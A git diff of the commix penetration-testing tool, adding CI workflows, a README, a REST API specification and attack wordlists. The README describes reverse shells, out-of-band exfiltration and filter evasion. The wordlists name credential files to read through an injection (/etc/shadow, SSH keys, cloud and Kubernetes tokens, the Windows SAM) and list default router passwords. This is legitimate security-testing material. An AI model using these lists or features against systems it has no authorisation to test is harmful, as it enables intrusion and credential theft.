diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml
new file mode 100644
index 0000000000..c80cf743ba
--- /dev/null
+++ b/.github/workflows/builds.yml
@@ -0,0 +1,39 @@
+name: 'Builds'
+
+on:
+ push:
+ branches: [ master ]
+ pull_request:
+ branches: [ master ]
+
+# Nothing here writes back to the repository.
+permissions:
+ contents: read
+
+jobs:
+ build:
+ name: ${{ matrix.os }} / Python ${{ matrix.python-version }}
+ runs-on: ${{ matrix.os }}
+ strategy:
+ fail-fast: false
+ matrix:
+ # Pairs are listed explicitly rather than crossed: Python 3.7 is published for x64 images
+ # only - Linux up to 22.04 and Intel macOS runners - so it cannot be installed on
+ # 'ubuntu-latest' (24.04) or ARM64 macOS runners.
+ include:
+ - { os: ubuntu-22.04, python-version: '3.7' }
+ - { os: macos-15-intel, python-version: '3.7' }
+ - { os: windows-latest, python-version: '3.7' }
+ - { os: ubuntu-latest, python-version: '3.12' }
+ - { os: macos-latest, python-version: '3.12' }
+ - { os: windows-latest, python-version: '3.12' }
+ steps:
+ - uses: actions/checkout@v4
+ - name: Set up Python ${{ matrix.python-version }}
+ uses: actions/setup-python@v5
+ with:
+ python-version: ${{ matrix.python-version }}
+ - name: Basic import test
+ run: python -c "import commix"
+ - name: Basic smoke test
+ run: python commix.py --smoke-test
diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml
new file mode 100644
index 0000000000..8b1e494e6e
--- /dev/null
+++ b/.github/workflows/lockbot.yml
@@ -0,0 +1,35 @@
+name: 'LockBot'
+
+on:
+ schedule:
+ - cron: '0 0 * * *'
+
+permissions:
+ issues: write
+ pull-requests: write
+
+# One at a time: a scheduled run that overlaps the last one locks the same threads twice.
+concurrency:
+ group: lock-threads
+
+jobs:
+ action:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: dessant/lock-threads@v6
+ with:
+ # Issues and pull requests only - discussions are left alone, whether or not the
+ # repository has them enabled.
+ process-only: 'issues, prs'
+ issue-inactive-days: '30'
+ issue-comment: >
+ This issue has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.
+ _This action has been performed automatically by a bot._
+ issue-lock-reason: ''
+ pr-inactive-days: '30'
+ pr-comment: >
+ This PR has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.
+ _This action has been performed automatically by a bot._
+ pr-lock-reason: ''
diff --git a/.travis.yml b/.travis.yml
deleted file mode 100755
index 4ae5c8bd1f..0000000000
--- a/.travis.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-language: python
-jobs:
- include:
- - python: 2.6
- dist: trusty
- - python: 2.7
- dist: trusty
- - python: 3.3
- dist: trusty
- - python: 3.6
- dist: trusty
- - python: nightly
- dist: bionic
-script:
- - python -c "import commix"
diff --git a/LICENSE.txt b/LICENSE.txt
index 9c2451501f..a72403d125 100644
--- a/LICENSE.txt
+++ b/LICENSE.txt
@@ -1,4 +1,4 @@
-Copyright (c) 2014-2021 Anastasios Stasinopoulos
+Copyright (c) 2014-2026 Anastasios Stasinopoulos
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/README.md b/README.md
index 093f35e2c7..ed0ae8e12d 100644
--- a/README.md
+++ b/README.md
@@ -1,20 +1,47 @@
-
-
-
-
-
-
-
-
-
+
+
-**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities.
+
+
+**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command](https://owasp.org/www-community/attacks/Command_Injection)** (and **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection vulnerabilities.

+You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki.
+
+> [!IMPORTANT]
+> **This project is in active development.** Expect breaking changes between revisions. Review the
+> [changelog](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) before updating.
+>
+> Commix is primarily built to be used as a standalone CLI tool, and it executes operating system
+> commands on the targets it tests. **Running commix as a service may pose security risks.**
+>
+> It is recommended to use it with caution, and only against systems you own or have explicit
+> authorisation to test.
+
+## Features
+
+* **Four injection techniques** - results-based, boolean-based, time-based and file-based, chosen with `--technique` or by the type they report with `--type` - see [techniques](https://github.com/commixproject/commix/wiki/Techniques) for what each one asks of a target.
+* **Out-of-band, when nothing comes back at all** - `--oob` proves execution and carries the command's output over HTTP/S or DNS, reaching the server through whichever client the target happens to have - see [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) for the ones it tries and how to pin one.
+* **Code injection** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) tests what a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript`, `PowerShell`, `Perl` or `Lua`, over those same techniques.
+* **Wherever input lands** - GET/POST parameters, [HTTP headers and cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, plus the `shellshock` module for CGI targets.
+* **From proof to shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), built-in `reverse_tcp` and `bind_tcp` upgradeable to a full PTY, file transfer, Windows registry read/write, and enumeration through to password hashes with a dictionary attack offered against them.
+* **Filter and WAF evasion** - combinable tamper scripts, applied in a deterministic order - see [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples).
+* **Targets in any shape** - a URL, a crawl, HTML forms, a sitemap, an OpenAPI (Swagger) description, a proxy log, a bulk file, a raw HTTP request, or piped `stdin` - see [target options](https://github.com/commixproject/commix/wiki/Usage#target-options).
+* **Resumable and scriptable** - [per-target session files](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR output, reusable option profiles, `--proof`, which re-proves any finding with an experiment of its own, and a [REST API](https://github.com/commixproject/commix/wiki/API) for driving scans from somewhere else.
+* **Unix-like and Windows** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI back ends - see [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) for how the payloads differ.
## Installation
@@ -24,24 +51,39 @@ You can download commix on any platform by cloning the official Git repository :
Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master).
-*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.*
-
+> [!NOTE]
+> **[Python](https://www.python.org/downloads/)** (version **3.7** or later) is required for running
+> commix. All other dependencies are bundled, so no additional installation step is needed.
## Usage
To get a list of all options and switches use:
- $ python commix.py -h
+ $ python3 commix.py -h
-To get an overview of commix available options, switches and/or basic ideas on how to use commix, check **[usage](https://github.com/commixproject/commix/wiki/Usage)**, **[usage examples](https://github.com/commixproject/commix/wiki/Usage-Examples)** and **[filters bypasses](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki pages.
+Test a single injectable parameter, then drop into a shell on the target :
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell
-## Links
+Prove execution out-of-band, where the response carries nothing back :
-* User's manual: https://github.com/commixproject/commix/wiki
-* Issues tracker: https://github.com/commixproject/commix/issues
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob
+
+> [!NOTE]
+> The client is picked by what the target has, so a host stripped of the usual HTTP clients is still
+> in reach - pin one with `--oob-transport` where its egress is already known. By default `--oob` uses
+> the public `oast.fun` interactsh server, so interaction metadata for your target leaves your
+> network; point `--oob-server` at a self-hosted instance to keep it in-house. For a detailed guide,
+> refer to the
+> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) wiki page.
+Scan a list of targets unattended and write the results to a file :
-## Translations
+ $ python3 commix.py -m targets.txt --batch --report-json=results.json
-* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md)
\ No newline at end of file
+To get an overview of commix available options, switches and/or basic ideas on how to use commix, check **[usage](https://github.com/commixproject/commix/wiki/Usage)**, **[usage examples](https://github.com/commixproject/commix/wiki/Usage-examples)** and **[filters bypasses](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki pages.
+
+## Links
+
+* User's manual: https://github.com/commixproject/commix/wiki
+* Issues tracker: https://github.com/commixproject/commix/issues
diff --git a/commix.py b/commix.py
index 63b7f7e283..6c47220054 100755
--- a/commix.py
+++ b/commix.py
@@ -3,48 +3,36 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
-
+
For more see the file 'readme/COPYING' for copying permission.
"""
+import sys
+
# Dummy check for missing module(s).
try:
__import__("src.utils.version")
from src.utils import version
version.python_version()
-except ImportError:
- err_msg = "Wrong installation detected (missing modules). "
- err_msg = "Visit 'https://github.com/commixproject/commix/' for further details. \n"
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+except ImportError as ex:
+ err_msg = "Wrong installation detected (i.e \"" + str(ex) + "\"). "
+ err_msg += "Visit 'https://github.com/commixproject/commix/' for further details."
+ sys.exit(err_msg)
# Main
def main():
import src.core.main
+ src.core.main.entry_point()
# Main
if __name__ == '__main__':
- try:
- main()
- except SystemExit:
- import sys
- raise SystemExit()
- except KeyboardInterrupt:
- import sys
- raise SystemExit()
- except IndentationError as err_msg:
- from src.utils import settings
- print(settings.print_critical_msg(err_msg) + ".\n")
- raise SystemExit()
- except:
- from src.utils import common
- common.unhandled_exception()
+ main()
# eof
\ No newline at end of file
diff --git a/commixapi.py b/commixapi.py
new file mode 100644
index 0000000000..f232b3bb78
--- /dev/null
+++ b/commixapi.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import os
+import sys
+
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+
+from src.utils import api
+
+if __name__ == "__main__":
+ api.entry_point()
+
+# eof
diff --git a/commixapi.yaml b/commixapi.yaml
new file mode 100644
index 0000000000..631a3ac373
--- /dev/null
+++ b/commixapi.yaml
@@ -0,0 +1,545 @@
+openapi: 3.0.3
+info:
+ title: commix REST API
+ version: "1.0"
+ description: |
+ The API served by `commixapi.py`, implemented in `src/utils/api.py`.
+
+ A scan is a task: created, given options under the names the command line knows them by,
+ started, then read while it runs and after it ends. Each task is run as a process of its own,
+ started from a configuration file - the same file `-c` loads.
+
+ Notes for implementers:
+ * Options are the destinations of commix's own command-line options, with `-` read as `_`:
+ `url` is `--url`, `flush_session` is `--flush-session`. A name the parser does not know is
+ refused rather than kept.
+ * `report_json`, `output_dir` and `batch` are settled by the server, and setting them is
+ refused rather than ignored.
+ * Options that act on the host serving the API rather than on the target are refused too:
+ `--alert`, `-c`, `--save`, `--preprocess`, `--postprocess`, `--install`, `--update`,
+ `--purge`, and the switches that are not scans at all.
+ * Something the server understood but would not do answers `200` with `success: false` and a
+ `message`. Only authentication (`401`), an address that is not served (`404`), one asked for
+ with the wrong method (`405`) and an unhandled failure (`500`) answer with a code of their
+ own.
+ * `/scan/{taskid}/data` hands back the `--report-json` file the run is writing, so a run
+ started from a command line and one started here cannot answer differently.
+ license:
+ name: GNU General Public License v3 (GPLv3)
+ url: https://github.com/commixproject/commix/blob/master/LICENSE.txt
+ contact:
+ name: commix project
+ url: https://commixproject.com
+externalDocs:
+ description: The API, in the user's manual
+ url: https://github.com/commixproject/commix/wiki/API
+servers:
+ - url: http://127.0.0.1:8775
+ description: A local commixapi.py server
+security:
+ - apiToken: []
+tags:
+ - name: Version
+ description: What the server is
+ - name: Tasks
+ description: Making and forgetting tasks
+ - name: Options
+ description: Reading and settling a task's options
+ - name: Scans
+ description: Running a task, and reading it while it runs
+ - name: Files
+ description: What a task produced
+ - name: Admin
+ description: Every task at once
+
+paths:
+ /version:
+ get:
+ tags: [Version]
+ operationId: getVersion
+ summary: commix's version, and this contract's
+ description: >-
+ The one address that is served without a token, so that a client can find out what it is
+ talking to before it authenticates. `api` is counted apart from `version`, so a client can
+ tell whether it still knows how to talk to a newer commix.
+ security: []
+ responses:
+ "200":
+ description: The versions.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ version: { type: string, example: "v4.2.dev219" }
+ api: { type: string, example: "1.0" }
+
+ /task/new:
+ get:
+ tags: [Tasks]
+ operationId: newTask
+ summary: Make a task
+ responses:
+ "200":
+ description: The task's id.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ taskid: { type: string, example: "93c54d9323c4dcba" }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /task/{taskid}/delete:
+ get:
+ tags: [Tasks]
+ operationId: deleteTask
+ summary: Forget a task, ending its scan if one is running
+ description: >-
+ What the task produced is left on disk; it is the task that is forgotten, not its output.
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ responses:
+ "200": { $ref: "#/components/responses/Plain" }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /option/{taskid}/list:
+ get:
+ tags: [Options]
+ operationId: listOptions
+ summary: Every option of a task, with what it is set to
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ responses:
+ "200":
+ description: The options.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ options:
+ type: object
+ additionalProperties: true
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /option/{taskid}/get:
+ post:
+ tags: [Options]
+ operationId: getOption
+ summary: One option, by name
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ type: object
+ required: [option]
+ properties:
+ option: { type: string, example: "url" }
+ responses:
+ "200":
+ description: The option, under its own name.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ additionalProperties: true
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /option/{taskid}/set:
+ post:
+ tags: [Options]
+ operationId: setOptions
+ summary: Set options on a task
+ description: >-
+ Every option in the body is settled, in the order given. A name the parser does not know
+ ends the request, and the ones before it stay set.
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: "#/components/schemas/Options"
+ responses:
+ "200": { $ref: "#/components/responses/Plain" }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /scan/{taskid}/start:
+ post:
+ tags: [Scans]
+ operationId: startScan
+ summary: Start the task's scan
+ description: >-
+ Options in the body are settled first, which makes a scan two requests rather than three.
+ One of `url`, `logfile`, `bulkfile`, `requestfile`, `sitemap_url` or `openapi` has to be set
+ by then, and a scan already running is not started again.
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ requestBody:
+ required: false
+ content:
+ application/json:
+ schema:
+ $ref: "#/components/schemas/Options"
+ responses:
+ "200":
+ description: The process the scan is running as.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ engineid: { type: integer, example: 45671 }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /scan/{taskid}/stop:
+ get:
+ tags: [Scans]
+ operationId: stopScan
+ summary: Ask the scan to stop
+ description: >-
+ The run is asked to end and finishes its report first, so what it found up to then is kept.
+ Worth preferring to `/kill`, which does not.
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ responses:
+ "200":
+ description: Whether there was a running scan to stop.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ stopped: { type: boolean }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /scan/{taskid}/kill:
+ get:
+ tags: [Scans]
+ operationId: killScan
+ summary: End the scan's process outright
+ description: >-
+ The process is given no chance to write anything further, so its report stops where it was.
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ responses:
+ "200":
+ description: Whether there was a running scan to kill.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ killed: { type: boolean }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /scan/{taskid}/status:
+ get:
+ tags: [Scans]
+ operationId: scanStatus
+ summary: Where the run has got to
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ responses:
+ "200":
+ description: The status, and the code the process ended on where it has ended.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ status:
+ type: string
+ enum: [not started, running, completed, time-limit, terminated, failed, killed]
+ returncode:
+ type: integer
+ nullable: true
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /scan/{taskid}/data:
+ get:
+ tags: [Scans]
+ operationId: scanData
+ summary: The run's results, as they stand
+ description: >-
+ Readable throughout: the report is written as the run goes, so findings appear as they are
+ confirmed. `error` is what went wrong, which is what tells a run that could not reach its
+ target from one that reached it and found nothing - both end with no findings.
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ responses:
+ "200":
+ description: The report.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ data: { $ref: "#/components/schemas/Report" }
+ error:
+ type: array
+ items: { $ref: "#/components/schemas/Issue" }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /scan/{taskid}/log:
+ get:
+ tags: [Scans]
+ operationId: scanLog
+ summary: What the run has said
+ parameters:
+ - { $ref: "#/components/parameters/TaskId" }
+ - name: start
+ in: query
+ required: false
+ schema: { type: integer }
+ description: First line to hand back.
+ - name: end
+ in: query
+ required: false
+ schema: { type: integer }
+ description: Line to stop before.
+ responses:
+ "200":
+ description: The lines.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ log:
+ type: array
+ items: { $ref: "#/components/schemas/LogLine" }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /download/{taskid}:
+ get:
+ tags: [Files]
+ operationId: listFiles
+ summary: Every file the task has to hand
+ description: >-
+ The options it was started with, the report, what it printed, and whatever the run itself
+ wrote - each by a path relative to the task's own directory, which is the path
+ `/download/{taskid}/{path}` takes.
+ parameters: [ { $ref: "#/components/parameters/TaskId" } ]
+ responses:
+ "200":
+ description: The files, by path.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ files:
+ type: array
+ items:
+ type: object
+ properties:
+ path: { type: string, example: "output/localhost_8081/logs.txt" }
+ size: { type: integer, example: 2127 }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /download/{taskid}/{path}:
+ get:
+ tags: [Files]
+ operationId: downloadFile
+ summary: One of those files, as itself
+ description: >-
+ The only address that answers with something other than JSON. A path that resolves outside
+ the task's own directory is refused, however it is spelled.
+ parameters:
+ - { $ref: "#/components/parameters/TaskId" }
+ - name: path
+ in: path
+ required: true
+ schema: { type: string }
+ description: The file's path, as the listing above gives it.
+ responses:
+ "200":
+ description: The file.
+ headers:
+ Content-Disposition:
+ schema: { type: string }
+ description: 'attachment; filename=""'
+ content:
+ application/octet-stream:
+ schema: { type: string, format: binary }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+ "404":
+ description: No such task, or no such file in it.
+ content:
+ application/json:
+ schema:
+ $ref: "#/components/schemas/Failure"
+
+ /admin/list:
+ get:
+ tags: [Admin]
+ operationId: listTasks
+ summary: Every task this server holds
+ responses:
+ "200":
+ description: The tasks, by id.
+ content:
+ application/json:
+ schema:
+ allOf:
+ - $ref: "#/components/schemas/Success"
+ - type: object
+ properties:
+ count: { type: integer }
+ tasks:
+ type: object
+ additionalProperties:
+ type: object
+ properties:
+ status: { type: string }
+ returncode: { type: integer, nullable: true }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+ /admin/flush:
+ get:
+ tags: [Admin]
+ operationId: flushTasks
+ summary: Forget every task, ending any scan still running
+ responses:
+ "200": { $ref: "#/components/responses/Plain" }
+ "401": { $ref: "#/components/responses/Unauthorized" }
+
+components:
+ securitySchemes:
+ apiToken:
+ type: apiKey
+ in: header
+ name: X-Api-Token
+ description: >-
+ The token the server was started with, or the one it made up and printed as it started.
+
+ parameters:
+ TaskId:
+ name: taskid
+ in: path
+ required: true
+ schema:
+ type: string
+ pattern: "^[0-9a-f]+$"
+ description: The id `/task/new` handed back.
+
+ responses:
+ Plain:
+ description: Whether what was asked for happened.
+ content:
+ application/json:
+ schema:
+ oneOf:
+ - $ref: "#/components/schemas/Success"
+ - $ref: "#/components/schemas/Failure"
+ Unauthorized:
+ description: The token was wrong or missing.
+ content:
+ application/json:
+ schema:
+ $ref: "#/components/schemas/Failure"
+
+ schemas:
+ Success:
+ type: object
+ required: [success]
+ properties:
+ success:
+ type: boolean
+ enum: [true]
+ Failure:
+ type: object
+ required: [success, message]
+ properties:
+ success:
+ type: boolean
+ enum: [false]
+ message:
+ type: string
+ example: "Unknown option 'nosuchthing'."
+ Options:
+ type: object
+ description: >-
+ Options by the destinations of commix's own command-line options, with `-` read as `_`.
+ additionalProperties: true
+ example:
+ url: "http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1"
+ flush_session: true
+ time_limit: 90
+ Report:
+ type: object
+ description: >-
+ The `--report-json` report, as it stands. A run over a single target is the object below.
+ A run over several - `bulkfile`, `logfile`, `sitemap_url` or a crawl - carries one such
+ object per target under `targets`, with `started`, `status`, `finished` and `requests` for
+ the run as a whole.
+ properties:
+ targets:
+ type: array
+ description: Present only where the run covered more than one target.
+ items:
+ type: object
+ target: { type: string }
+ http_method: { type: string }
+ command: { type: string }
+ started: { type: string }
+ finished: { type: string }
+ status:
+ type: string
+ enum: [running, completed, time-limit, terminated, failed]
+ requests: { type: integer }
+ target_os: { type: string }
+ waf_detected: { type: boolean }
+ evasion_applied: { type: string }
+ findings:
+ type: array
+ items: { $ref: "#/components/schemas/Finding" }
+ errors:
+ type: array
+ items: { $ref: "#/components/schemas/Issue" }
+ Finding:
+ type: object
+ properties:
+ parameter: { type: string, example: "addr" }
+ http_method: { type: string, example: "GET" }
+ technique: { type: string, example: "Results-based" }
+ type: { type: string, example: "Classic command injection" }
+ boundary: { type: string, example: "';' separator, ' ' whitespace" }
+ payload: { type: string }
+ reproduce:
+ type: string
+ description: The single request that brings the finding back.
+ reproduce_caveats: { type: string }
+ Issue:
+ type: object
+ properties:
+ time: { type: string, example: "08:12:05" }
+ level:
+ type: string
+ enum: [error, critical, abort]
+ message: { type: string }
+ LogLine:
+ type: object
+ properties:
+ time: { type: string, example: "08:12:01" }
+ level: { type: string, example: "info" }
+ message: { type: string, example: "Testing connection to the target URL." }
diff --git a/data/txt/brotli-dictionary.tx_ b/data/txt/brotli-dictionary.tx_
new file mode 100644
index 0000000000..b8354d0bdb
Binary files /dev/null and b/data/txt/brotli-dictionary.tx_ differ
diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt
new file mode 100644
index 0000000000..7cc12f10a2
--- /dev/null
+++ b/data/txt/common-files.txt
@@ -0,0 +1,80 @@
+# Candidate paths for '--common-files', checked for existence one at a time through the confirmed
+# injection point. Only absolute paths are listed - a relative one would resolve against whatever
+# directory the shell starts a command in, which is not reliably the web root. Unix-style paths are
+# tried on a Unix-like target, drive-letter paths on a Windows one - each line only on the target OS
+# it is shaped for.
+
+# System accounts and shell configuration
+/etc/passwd
+/etc/shadow
+/etc/group
+/etc/hosts
+/etc/hostname
+/etc/resolv.conf
+/etc/sudoers
+/etc/crontab
+/root/.bash_history
+/root/.ssh/id_rsa
+/root/.ssh/authorized_keys
+
+# Web server configuration
+/etc/apache2/apache2.conf
+/etc/httpd/conf/httpd.conf
+/etc/nginx/nginx.conf
+/etc/php.ini
+
+# Cloud and service credentials
+/root/.aws/credentials
+/root/.aws/config
+/root/.docker/config.json
+/var/lib/docker/config.json
+/root/.kube/config
+/root/.config/gcloud/application_default_credentials.json
+/root/.azure/accessTokens.json
+/root/.azure/azureProfile.json
+/root/.netrc
+/root/.npmrc
+/root/.pypirc
+/root/.git-credentials
+/proc/self/environ
+
+# Container and orchestration signals - fixed paths regardless of which user the container runs
+# as, since they come from how the container/pod itself is set up, not from a home directory.
+/.dockerenv
+/proc/1/cgroup
+/var/run/secrets/kubernetes.io/serviceaccount/token
+/var/run/secrets/kubernetes.io/serviceaccount/namespace
+/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+
+# Logs that can carry secrets a request leaked
+/var/log/auth.log
+/var/log/apache2/access.log
+/var/log/nginx/access.log
+
+# Windows system configuration
+C:\Windows\win.ini
+C:\Windows\System32\drivers\etc\hosts
+C:\Windows\repair\SAM
+C:\Windows\System32\config\SAM
+C:\Windows\debug\NetSetup.log
+C:\Windows\Panther\Unattend.xml
+C:\Windows\Panther\Unattended.xml
+C:\Windows\System32\inetsrv\config\applicationHost.config
+C:\inetpub\wwwroot\web.config
+C:\xampp\apache\conf\httpd.conf
+C:\xampp\php\php.ini
+C:\AppServ\www\config.php
+
+# Windows user data
+C:\Users\Administrator\NTUser.dat
+C:\Users\Administrator\.ssh\id_rsa
+C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
+
+# Windows cloud and service credentials
+C:\Users\Administrator\.aws\credentials
+C:\Users\Administrator\.docker\config.json
+C:\Users\Administrator\.kube\config
+C:\Users\Administrator\.netrc
+C:\Users\Administrator\.npmrc
+C:\Users\Administrator\.pypirc
+C:\Users\Administrator\.git-credentials
diff --git a/data/txt/common-parameters.txt b/data/txt/common-parameters.txt
new file mode 100644
index 0000000000..742c69d119
--- /dev/null
+++ b/data/txt/common-parameters.txt
@@ -0,0 +1,149 @@
+# Candidate parameter names for '--mine-params', ordered by how often the value behind them is
+# handed to a shell rather than by how often the name itself appears.
+addr
+address
+host
+hostname
+ip
+ipaddr
+ping
+target
+domain
+server
+node
+peer
+url
+uri
+link
+src
+source
+dest
+destination
+redirect
+next
+cmd
+command
+exec
+execute
+run
+do
+action
+op
+operation
+func
+function
+method
+call
+task
+job
+script
+shell
+sh
+bash
+proc
+process
+sys
+system
+eval
+code
+expr
+query
+q
+search
+filter
+term
+keyword
+file
+filename
+fname
+path
+dir
+directory
+folder
+document
+doc
+page
+name
+user
+username
+account
+login
+id
+uid
+pid
+key
+value
+val
+data
+input
+output
+arg
+args
+param
+params
+option
+opts
+config
+setting
+mode
+type
+kind
+format
+fmt
+ext
+lang
+locale
+charset
+encoding
+port
+proto
+protocol
+scheme
+method_type
+time
+date
+timeout
+delay
+interval
+count
+limit
+offset
+size
+length
+level
+depth
+debug
+test
+trace
+log
+logfile
+msg
+message
+text
+content
+body
+template
+tpl
+view
+layout
+theme
+style
+callback
+cb
+jsonp
+token
+hash
+sig
+ref
+referer
+origin
+device
+agent
+platform
+os
+arch
+version
+release
+branch
+tag
+env
diff --git a/data/txt/default_passwords.txt b/data/txt/default_passwords.txt
new file mode 100644
index 0000000000..9cdede3843
--- /dev/null
+++ b/data/txt/default_passwords.txt
@@ -0,0 +1,167 @@
+0000
+0123456789
+0P3N
+1
+123
+1234
+12345
+123456
+12345678
+123456789
+1234567890
+3bb
+3play
+3UJUh2VemEfUtesEchEC2d2e
+4135279
+@HuaweiHgw
+abcd12345
+access key on label
+addon
+admim
+admin
+Admin
+admin01
+admin1
+Admin123
+admin_Ultimate
+adminHW
+Administrator
+administrator
+adminpldt
+admintelecom
+advanced
+airlive
+aisadmin
+atlantis
+attadmin
+Aztechadmin
+barricade
+bayandsl
+belong
+bEn2o#US9s
+bezeqint
+broadband
+BSNL1234
+cableroot
+cciadmin
+changeme
+cht
+chtnvdsl
+cisco
+Cl@r0
+comcast
+conexant
+conf
+Conf
+ctAdmin
+cusadmin
+cytauser
+default
+digi
+digicel
+draadloos
+DSL
+dsmart
+Enduser
+enduser
+entel
+epicrouter
+Epuser
+Expert
+fastweb
+fritzfonbox
+geekadsl
+Gponinstalador@123
+gttuser
+guest
+Guest
+gvt12345
+hamlet
+highspeed
+home
+homebro
+HPN
+hsparouter
+HuaweiUser
+ipbbx
+kpn
+KPN
+kpn-adsl
+lightweight
+linksys
+liveboxfibra
+loqal
+LTEcpe
+MaxisBB
+menara
+meo
+motorola
+Motorola
+mtn
+mysweex
+NEMONTadmin
+netis
+NOLOGIN
+on
+OP3N
+oper1234
+operator
+optus
+ovislink
+password
+password1
+pentagram
+pfsense
+primus
+public
+pz938qd6
+pz938qdx
+root
+router
+scmcadmin
+SerialNumber
+sitecom
+sky
+smartbro
+smc
+smcadmin
+SpeedStream
+superonline
+superu
+superuser
+support
+surecom
+sweex
+tattoo@home
